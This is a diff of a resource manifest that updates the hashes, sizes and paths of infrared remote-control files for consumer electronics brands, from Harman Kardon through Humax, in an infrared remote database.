+F:f8acdd38ccf22c453f86b3ca36a8b227:5672:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir +F:14072d5d2212030877320b689d2f5f99:4194:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir +F:2ba749758fae4edbdb494b70a1910b34:724:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir +F:615821cb1ff4fcd1365a2ac26daec21b:377:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir +F:47e3abc0d2804137a92c25d143e2175c:122:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir +F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir +F:f77e9533775e844385d6dafa380d051a:121:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir +F:ba33e0467a0d54d102a7db1973549981:943:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir +F:2d1d0ebb99751d0801a2762d915eedd8:123:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir +F:3ece681bc88a070010e493ae0bc7d4ad:387:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir +F:ac3b389042fe879e192cddc4f304e0cf:2365:infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir +F:ca54e87e35f2d0053db7e1d07cd7ae3b:2172:infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir +F:e20bd218426a2f4cbee2e32c6bcab6be:1576:infrared/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir +F:3c29a5f0f1ac2a0000238a609d414200:5649:infrared/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir +F:b030f1eed902e5dc8b2f310499e3de08:3154:infrared/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir +F:959c55435d8aa0316d2f7de49f7ae419:1273:infrared/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir +F:1d4b0a2fcfdeef8b49f9f8671bab071e:3840:infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir +F:3dc4d6ab5db9724759bbf9989b128b4b:2435:infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir +F:362be9f85c37c6cebd43fbe59c9f5888:3833:infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir +F:56ac12bab2a1e377be6d9cd63eb1cfe6:2664:infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir +F:2d1814baafddee00e34015f75457c26b:1882:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir +F:7cd0ff4c05abac08b0fbc97e0fd1625e:1995:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir +F:81c578332e116d0bfe7ca3515ef15b48:1738:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir +F:1d04463e2aa3a1fc7cf9ad10bec2e1a4:122:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir +F:85448ca59b90a06dbcbf2a1132e669c7:745:infrared/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir D:infrared/_CSV-IRDB_/Harman Video/Video Projector -F:7e357ff393e854baae18bbbea4fecdbe:2135:infrared/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir -F:8655b396cf602f7c0c705696853a86bb:130:infrared/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir +F:7cd0ff4c05abac08b0fbc97e0fd1625e:1995:infrared/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir +F:1d04463e2aa3a1fc7cf9ad10bec2e1a4:122:infrared/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir D:infrared/_CSV-IRDB_/Harmony/PS3 Adaptor -F:cfbb88be036cb198fe896f0f8837e004:4693:infrared/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir +F:02e8c7045fa60e2089c2474079103559:4385:infrared/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir D:infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095 D:infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP D:infrared/_CSV-IRDB_/Hauppauge/Unknown_R808 D:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR D:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q D:infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb -F:a7579f54fc229e379294bb9b7fc6a938:3207:infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir -F:dd544f44da78227af1336511910fd7ed:3255:infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir -F:bbed8b83e65cb80a7d431fe40e9386c1:3653:infrared/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir -F:53891974ea9e08967628f17678a1b499:4222:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir -F:d852b7fb168b623f96fa1269f81ac62f:3376:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir -F:7ee6d74e7c958725941838598b1d9cc0:2471:infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir +F:fb9a672c006dac250575837eb751ad9e:2995:infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir +F:ad78d2e741277f7bfcd9cf7bcb77676a:3049:infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir +F:dc6faf5d9e0e7ce1037af81c1e65f34d:3423:infrared/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir +F:9f13026cdf30b4109c16068ccb077d4f:3950:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir +F:3615717627c183f953eac333e4d92d05:3164:infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir +F:1e2b9662790b58ef63a2780eb03d04e1:2313:infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir D:infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty -F:1665ab3ec76eba9d7cc42329f49f2b47:3158:infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir +F:2925af2cafa99d793f25dbf7fcbd336b:2958:infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir D:infrared/_CSV-IRDB_/Herma/Dipper -F:5f798aa1022eea41cb77ce58debd4550:11734:infrared/_CSV-IRDB_/Herma/Dipper/5,-1.ir +F:ef97ea7b75a90c3937666bfbdd1971f7:10988:infrared/_CSV-IRDB_/Herma/Dipper/5,-1.ir D:infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio -F:db38ac701cb560394183804455b6faa7:3806:infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir +F:748532014b7d551a74c57e0000b5aaf8:3564:infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir D:infrared/_CSV-IRDB_/Hewlett Packard/Plasma D:infrared/_CSV-IRDB_/Hewlett Packard/TV -F:864949d6e1a25d41c6f3298c9d062134:3730:infrared/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir -F:7a3586e2701043a52a020df061d8dcda:1391:infrared/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir -F:864949d6e1a25d41c6f3298c9d062134:3730:infrared/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir -F:8428cdbe67aec06445fe655d26556fb7:2777:infrared/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir +F:11cb928496ce46e5c1cc7b17bf2ecf7f:3488:infrared/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir +F:ab0fb63a6f7557cab38f1b6086902295:1305:infrared/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir +F:11cb928496ce46e5c1cc7b17bf2ecf7f:3488:infrared/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir +F:2f1fd6a610f9525e2a277cd6f6a8ea7a:2601:infrared/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir D:infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics -F:3cf638a8f2ba9d6470957f415e73dfad:315:infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir +F:e8092ade0634293ea5f91c0ba78d14d8:295:infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir D:infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002 -F:666d7bdcc6128ffbab7d316e84c2c55d:1574:infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir +F:5e3d820ae84c456798c680e147e1b554:1476:infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir D:infrared/_CSV-IRDB_/Hirschmann/Satellite D:infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426 -F:894a52af2d69cc815303fdaa0ca1d3a9:3223:infrared/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir -F:08cc224f7c989a578380b0b485e8e49c:2669:infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir +F:f80d9b56022c249634d7767ea36cec07:3011:infrared/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir +F:64a66050c87428e701898abfddc091dd:2493:infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir D:infrared/_CSV-IRDB_/Hitachi/CD Player D:infrared/_CSV-IRDB_/Hitachi/Cable Box D:infrared/_CSV-IRDB_/Hitachi/DSS @@ -2906,63 +2906,63 @@ D:infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi D:infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf D:infrared/_CSV-IRDB_/Hitachi/VCR D:infrared/_CSV-IRDB_/Hitachi/Video Projector -F:cba21fd9b472783541f9efcfa271a761:3345:infrared/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir -F:d18253628f7a3565c4db2155ca26295b:596:infrared/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir -F:5d919a57f4736c44bf959db649b00a4f:10463:infrared/_CSV-IRDB_/Hitachi/DSS/12,251.ir -F:430c261caa5156b07698373643f8eeb9:327:infrared/_CSV-IRDB_/Hitachi/DSS/184,0.ir -F:d39d1a99fdcb85f10736ed77f44726e8:135:infrared/_CSV-IRDB_/Hitachi/DSS/3,-1.ir -F:76f78443ced6c29f04f50d5445160a97:130:infrared/_CSV-IRDB_/Hitachi/DSS/4,-1.ir -F:e6a464f8708e27cf51d36aa314f8138f:2321:infrared/_CSV-IRDB_/Hitachi/DSS/80,-1.ir -F:dec78f8cebf41872bef5b41a1042b5ac:1975:infrared/_CSV-IRDB_/Hitachi/DSS/96,-1.ir -F:5db0d8984124719e13b37ec7c1446a18:133:infrared/_CSV-IRDB_/Hitachi/DSS/97,-1.ir -F:d87ae10244c0c960c2acc9468dd71462:3636:infrared/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir -F:4e45dcd761331d65dab63e87f7b2cb80:790:infrared/_CSV-IRDB_/Hitachi/Display/80,-1.ir -F:344be3d224d0efe336026b34721a1a89:133:infrared/_CSV-IRDB_/Hitachi/LCD/86,171.ir -F:27356bc242b4f37d6b68968c4b017ca8:1909:infrared/_CSV-IRDB_/Hitachi/Monitor/144,0.ir -F:22f1b65f60d0d61b2211939e0661f781:8495:infrared/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir -F:00a43fc86abf080cf3af7b9d5f6fa682:3170:infrared/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir -F:7539710bf37d7d604b69c196dbf77aca:126:infrared/_CSV-IRDB_/Hitachi/Monitor/96,158.ir -F:cd3fb21a1142cad1ea45494c4be28b18:315:infrared/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir -F:de5e483ef6b4baf1d596f048493b9b5b:230:infrared/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir -F:18c5858bbc623ee17cf060b7108ecd6d:2799:infrared/_CSV-IRDB_/Hitachi/Plasma/80,173.ir -F:ebaef8b2cafd0d8d342f9405db2ff684:2042:infrared/_CSV-IRDB_/Hitachi/TV/12,251.ir -F:c0eaad5c1ace492917f0b978db748bdf:18900:infrared/_CSV-IRDB_/Hitachi/TV/80,-1.ir -F:a823396c63f71d9648b5ecfc5d7661da:137:infrared/_CSV-IRDB_/Hitachi/TV/80,143.ir -F:c4902678e2d032922c945814082ae7a3:1681:infrared/_CSV-IRDB_/Hitachi/TV/80,173.ir -F:e63915fe71c20cb30cf6982779eb18ff:222:infrared/_CSV-IRDB_/Hitachi/TV/96,-1.ir -F:8e8bca1ecdeb43aafe6259aca3c2dd0b:2672:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir -F:bbf6b58eb7452b746d6e5489e40c6f29:2940:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir -F:4c80a4528340c9f6f8651acb7c4f6bae:2496:infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir -F:fe28a1827fd0247ea9be911040912a8c:3936:infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir -F:fa5c9b877f8351f3a3c5e3c1456887e6:2735:infrared/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir -F:5f055452db744fd1143d1ed17ae8c108:2491:infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir -F:ad5142d61e77b2094e1d70988aa0018d:998:infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir -F:0e764e6c05cce6a127d2fad12975126f:2394:infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir -F:94b92e0a2468a0e64156a8136828ef3d:2891:infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir -F:6ea65700f2cd734520a49c46ea10ed5c:3574:infrared/_CSV-IRDB_/Hitachi/VCR/0,-1.ir -F:89d81703cdbb04b3981d08893e00d0bc:7320:infrared/_CSV-IRDB_/Hitachi/VCR/40,-1.ir -F:fb2c32db5b4b8be7421a86515a249aa9:423:infrared/_CSV-IRDB_/Hitachi/VCR/44,-1.ir -F:5a39d800eea0e106be6b92fd220e59e0:1806:infrared/_CSV-IRDB_/Hitachi/VCR/5,1.ir -F:595c84ecaacb255a245bab998d5f5e64:5777:infrared/_CSV-IRDB_/Hitachi/VCR/80,-1.ir -F:867bda748a5102be37cba5b941cdb6bf:1721:infrared/_CSV-IRDB_/Hitachi/VCR/83,-1.ir -F:955ef6f2949b71d17714742f0b82acef:37947:infrared/_CSV-IRDB_/Hitachi/VCR/96,-1.ir -F:21198ae6284da37addd712a44534449a:23465:infrared/_CSV-IRDB_/Hitachi/VCR/96,158.ir -F:95e57a40323fb58d37581025f78c7181:1183:infrared/_CSV-IRDB_/Hitachi/VCR/97,-1.ir -F:a11b03fdc24dc634c9c6d77f693ee0d3:900:infrared/_CSV-IRDB_/Hitachi/VCR/97,159.ir -F:f8daeaf579bde5f52e9f7b592bc22265:9293:infrared/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir -F:75a1f5da487c6ad790fa158a044abe39:1827:infrared/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir +F:4340f6d271c37af8278cee0442a428a9:3133:infrared/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir +F:c01dea7d8454543a0449717b516baa62:558:infrared/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir +F:d5b3b5efdf69607b0113bb3822bc3de3:9807:infrared/_CSV-IRDB_/Hitachi/DSS/12,251.ir +F:bcdc9279505343406bd91b9692e36bf0:307:infrared/_CSV-IRDB_/Hitachi/DSS/184,0.ir +F:8b1c444c11626c7003f2f05d4a323731:127:infrared/_CSV-IRDB_/Hitachi/DSS/3,-1.ir +F:f111e43524d3d0e878f68bccd85175f1:122:infrared/_CSV-IRDB_/Hitachi/DSS/4,-1.ir +F:15d3a55ac736c93bacb65e4c2063cf57:2175:infrared/_CSV-IRDB_/Hitachi/DSS/80,-1.ir +F:872cc641a727236509f310fc5ab44e7c:1853:infrared/_CSV-IRDB_/Hitachi/DSS/96,-1.ir +F:6b8204e35d98017da5065f7ad444e994:125:infrared/_CSV-IRDB_/Hitachi/DSS/97,-1.ir +F:9b2d3bd861053f2f69931e14468c70bc:3400:infrared/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir +F:6b7c09101c4f6e48328831b224367c23:740:infrared/_CSV-IRDB_/Hitachi/Display/80,-1.ir +F:3bac49674849251b70f11696a06fc333:125:infrared/_CSV-IRDB_/Hitachi/LCD/86,171.ir +F:08291bc5cb0868814ee1b3ac82957838:1787:infrared/_CSV-IRDB_/Hitachi/Monitor/144,0.ir +F:d2dc98f82619576002e684034f036b92:7953:infrared/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir +F:7d07215670d08e98995512c4a7fa5721:2970:infrared/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir +F:3a32c92475227604614eb8b5b180b241:118:infrared/_CSV-IRDB_/Hitachi/Monitor/96,158.ir +F:bfb9ce5fd071300a1b9fdcf59c036c57:295:infrared/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir +F:868edd38173721e69323d7e7bbe29107:216:infrared/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir +F:b42fbd7ffcb08cbf0a6b3802873b2237:2617:infrared/_CSV-IRDB_/Hitachi/Plasma/80,173.ir +F:2534d8bc0111ea664211d87bfb7d743f:1908:infrared/_CSV-IRDB_/Hitachi/TV/12,251.ir +F:ac3013b6b05f1964e16011c6526acfb7:17698:infrared/_CSV-IRDB_/Hitachi/TV/80,-1.ir +F:4b1fe1f0123af954f2d0de4703022860:129:infrared/_CSV-IRDB_/Hitachi/TV/80,143.ir +F:7b22ded13e511a98b14c8a205007a8ab:1571:infrared/_CSV-IRDB_/Hitachi/TV/80,173.ir +F:dab7d37377fa7d8a3ee8dfef58cdc4a7:208:infrared/_CSV-IRDB_/Hitachi/TV/96,-1.ir +F:b2d11a503d4082b4819c44d48879bdb4:2502:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir +F:4cdb30c9d8336b464e957c8a7d474887:2752:infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir +F:acb61dbd5c139c4b7da7ad427703682c:2338:infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir +F:9e5d337af845dba7c8df69ef541116dd:3688:infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir +F:3c9020b82ab84b12b09f7ace9c39ed0e:2565:infrared/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir +F:803bc5e13d2bbfbda0edbfe642d810a7:2333:infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir +F:99e52aa38d06a9e75c7875a972503034:936:infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir +F:9ecf3ce4d787f754b977c465fcc9ee4d:2242:infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir +F:afbb805e2bc44a7f6aa13f8213b816bc:2703:infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir +F:a66e1fb603adbbce587945a6672830be:3350:infrared/_CSV-IRDB_/Hitachi/VCR/0,-1.ir +F:ebb84f99c0bfa70e0130c0fc22f7a449:6850:infrared/_CSV-IRDB_/Hitachi/VCR/40,-1.ir +F:067826fec995d891209781aa43164a3c:397:infrared/_CSV-IRDB_/Hitachi/VCR/44,-1.ir +F:ba3dde1e7e3391cf10c935a85e7b0e9d:1690:infrared/_CSV-IRDB_/Hitachi/VCR/5,1.ir +F:173812d2de78119c2d3b4d5f62b87fc1:5415:infrared/_CSV-IRDB_/Hitachi/VCR/80,-1.ir +F:c64764aab0492d8186c04760e7166bad:1611:infrared/_CSV-IRDB_/Hitachi/VCR/83,-1.ir +F:0d66ff2891f40d8d7af7eb943f78ee78:35599:infrared/_CSV-IRDB_/Hitachi/VCR/96,-1.ir +F:278bf2666dc1caf22462dbdcb94bd10b:22029:infrared/_CSV-IRDB_/Hitachi/VCR/96,158.ir +F:f800d841f18eb3d8a84c999004cf5448:1109:infrared/_CSV-IRDB_/Hitachi/VCR/97,-1.ir +F:8b8cf00c4e860136bc740d915df9e27f:844:infrared/_CSV-IRDB_/Hitachi/VCR/97,159.ir +F:dc32de451e36d743d015e4f00b8706f7:8709:infrared/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir +F:a97278e2567c29e7219e552062e0d0d7:1711:infrared/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir D:infrared/_CSV-IRDB_/Hiteker/DVD Player -F:7d2d329e3bde9ef3d5fdf7fb2bf4f3a9:3269:infrared/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir +F:9e0136deb3961058800e2b85934b6a64:3057:infrared/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir D:infrared/_CSV-IRDB_/Hivion/Unknown_SAT -F:0c8d10bd92418601d5a197b59280c160:3812:infrared/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir +F:99a9fde05c77da1a27c0b1e0c80e910c:3570:infrared/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir D:infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner -F:1e50702ef036f28b2a1947a58fae01a9:5611:infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir +F:6d7bfed6a738eb22479708418e693f1e:5261:infrared/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir D:infrared/_CSV-IRDB_/Homecast/Satellite Receiver D:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S D:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T -F:b447cb23b08b8b406e70708e68da980e:4361:infrared/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir -F:593c8d55f7c9ac732eb129e92b1f6951:3048:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir -F:92e7e8606a4ba76ea546eace1bbf1837:3437:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir +F:642991e7db7836811aac372b229af1d0:4077:infrared/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir +F:1821ef4bf683d677ed32b91640284d0d:2854:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir +F:a5382beed41a7d3402cbacf66a36a55b:3219:infrared/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir D:infrared/_CSV-IRDB_/Hughes/DSS D:infrared/_CSV-IRDB_/Hughes/DVR D:infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo @@ -2973,32 +2973,32 @@ D:infrared/_CSV-IRDB_/Hughes/Unknown_DSS D:infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8 D:infrared/_CSV-IRDB_/Hughes/Unknown_b2 D:infrared/_CSV-IRDB_/Hughes/VCR -F:741afe996d8c1c8aea238ed7b6b81d58:791:infrared/_CSV-IRDB_/Hughes/DSS/1,-1.ir -F:f0794003981235bd25ddc06b24ca8459:3073:infrared/_CSV-IRDB_/Hughes/DSS/12,-1.ir -F:035c1d925ede773bb2ef77b78d0ae102:11334:infrared/_CSV-IRDB_/Hughes/DSS/12,251.ir -F:5489eac665d981cd1964a76714057f3e:4230:infrared/_CSV-IRDB_/Hughes/DSS/133,48.ir -F:28386b83f8f9c5fc918bf7cd8b22e9ca:597:infrared/_CSV-IRDB_/Hughes/DSS/136,-1.ir -F:eb249f4c9a1b26d232dc8de07d194519:504:infrared/_CSV-IRDB_/Hughes/DSS/4,-1.ir -F:b3817adc827f07d806ceaa451bb60bd5:2215:infrared/_CSV-IRDB_/Hughes/DSS/60,178.ir -F:f00c4c0a7af7b817d28e5fb4b00ac239:213:infrared/_CSV-IRDB_/Hughes/DSS/71,-1.ir -F:72583321fb88211048ea023f89dbba38:3821:infrared/_CSV-IRDB_/Hughes/DVR/12,-1.ir -F:be4b075ffea20da964aa6aab2e9974a5:3346:infrared/_CSV-IRDB_/Hughes/DVR/133,48.ir -F:a93baf855cdb415530f270c77f071a1c:3315:infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir -F:8fa699aafe391ac658551ef1e49435c0:5414:infrared/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir -F:741afe996d8c1c8aea238ed7b6b81d58:791:infrared/_CSV-IRDB_/Hughes/Satellite/1,-1.ir -F:f0794003981235bd25ddc06b24ca8459:3073:infrared/_CSV-IRDB_/Hughes/Satellite/12,-1.ir -F:eb4e08860765ea661ddceaf9f9293d16:11603:infrared/_CSV-IRDB_/Hughes/Satellite/12,251.ir -F:a1634b1a61ae391845b102800dab7213:591:infrared/_CSV-IRDB_/Hughes/Satellite/133,48.ir -F:28386b83f8f9c5fc918bf7cd8b22e9ca:597:infrared/_CSV-IRDB_/Hughes/Satellite/136,-1.ir -F:b63902ec7052a8e0ad97481c24a6164a:504:infrared/_CSV-IRDB_/Hughes/Satellite/4,-1.ir -F:b3817adc827f07d806ceaa451bb60bd5:2215:infrared/_CSV-IRDB_/Hughes/Satellite/60,178.ir -F:f00c4c0a7af7b817d28e5fb4b00ac239:213:infrared/_CSV-IRDB_/Hughes/Satellite/71,-1.ir -F:28af522f421f02436bcabca4928668ca:3091:infrared/_CSV-IRDB_/Hughes/TiVo/133,48.ir -F:8adf250743fe714568eaf7e289640a06:2301:infrared/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir -F:15a3de04020664ca67d2069bdbaaa14a:3062:infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir -F:8adf250743fe714568eaf7e289640a06:2301:infrared/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir -F:242d452e9f761dd56e9de5e8e957a804:2049:infrared/_CSV-IRDB_/Hughes/VCR/96,-1.ir -F:f7082276b7ac72e3db014445f3b83c20:132:infrared/_CSV-IRDB_/Hughes/VCR/97,-1.ir +F:a631874bbe26c8327c56242b7b3dbce1:741:infrared/_CSV-IRDB_/Hughes/DSS/1,-1.ir +F:84eeecee96d67396903ce0672e0dde41:2873:infrared/_CSV-IRDB_/Hughes/DSS/12,-1.ir +F:0fa78116facda6abc61c2daa0826dc74:10606:infrared/_CSV-IRDB_/Hughes/DSS/12,251.ir +F:1a3f9ef831f38e4ea9b29c97caf9afb7:3958:infrared/_CSV-IRDB_/Hughes/DSS/133,48.ir +F:b6c259789113b4b8d18df4654da84ff0:559:infrared/_CSV-IRDB_/Hughes/DSS/136,-1.ir +F:22e4d1482a98a0f3dfd56ea3e5eb04a9:472:infrared/_CSV-IRDB_/Hughes/DSS/4,-1.ir +F:0501ae427b09d469c430a2cf068567bd:2069:infrared/_CSV-IRDB_/Hughes/DSS/60,178.ir +F:aec2c1949d70c17172b36168ccf6dab6:199:infrared/_CSV-IRDB_/Hughes/DSS/71,-1.ir +F:b8f899dd334fb1425c898fa40bc91d02:3573:infrared/_CSV-IRDB_/Hughes/DVR/12,-1.ir +F:919ed238246469e502d25f0a01ba2b58:3128:infrared/_CSV-IRDB_/Hughes/DVR/133,48.ir +F:4d6350eb4894e11bb4d6237aeb61a90c:3097:infrared/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir +F:d372f0349d6ab957cf7f63cdc4b80789:5064:infrared/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir +F:a631874bbe26c8327c56242b7b3dbce1:741:infrared/_CSV-IRDB_/Hughes/Satellite/1,-1.ir +F:84eeecee96d67396903ce0672e0dde41:2873:infrared/_CSV-IRDB_/Hughes/Satellite/12,-1.ir +F:6d31f433b05a268ae5cba7d1a9c90b12:10857:infrared/_CSV-IRDB_/Hughes/Satellite/12,251.ir +F:14784e904225551ec00f3c40b49ecf8b:553:infrared/_CSV-IRDB_/Hughes/Satellite/133,48.ir +F:b6c259789113b4b8d18df4654da84ff0:559:infrared/_CSV-IRDB_/Hughes/Satellite/136,-1.ir +F:6a48abc9be58c5084075eef02a53bf35:472:infrared/_CSV-IRDB_/Hughes/Satellite/4,-1.ir +F:0501ae427b09d469c430a2cf068567bd:2069:infrared/_CSV-IRDB_/Hughes/Satellite/60,178.ir +F:aec2c1949d70c17172b36168ccf6dab6:199:infrared/_CSV-IRDB_/Hughes/Satellite/71,-1.ir +F:e91fcb158a657f5018fcfab6efae6728:2891:infrared/_CSV-IRDB_/Hughes/TiVo/133,48.ir +F:df920a38ce1c11dbc8d2f812b58a228b:2155:infrared/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir +F:68d3e6142967c8c5fe80b458de94a4c5:2868:infrared/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir +F:df920a38ce1c11dbc8d2f812b58a228b:2155:infrared/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir +F:8b13450eaf5d69918b98411c0e25fd54:1915:infrared/_CSV-IRDB_/Hughes/VCR/96,-1.ir +F:be40d5e60da042693c6bf184183cdb5e:124:infrared/_CSV-IRDB_/Hughes/VCR/97,-1.ir D:infrared/_CSV-IRDB_/Humax/Com Hem Box D:infrared/_CSV-IRDB_/Humax/HDTV Tuner D:infrared/_CSV-IRDB_/Humax/Satellite @@ -3009,51 +3009,51 @@ D:infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI D:infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P D:infrared/_CSV-IRDB_/Humax/Unknown_RS-521 D:infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf 